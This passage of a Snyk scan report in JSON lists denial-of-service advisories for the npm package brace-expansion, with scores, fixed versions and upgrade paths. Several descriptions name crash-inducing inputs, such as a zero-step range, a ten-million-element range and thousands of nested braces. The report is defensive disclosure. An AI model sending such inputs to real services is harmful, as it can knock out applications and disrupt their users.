"npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], 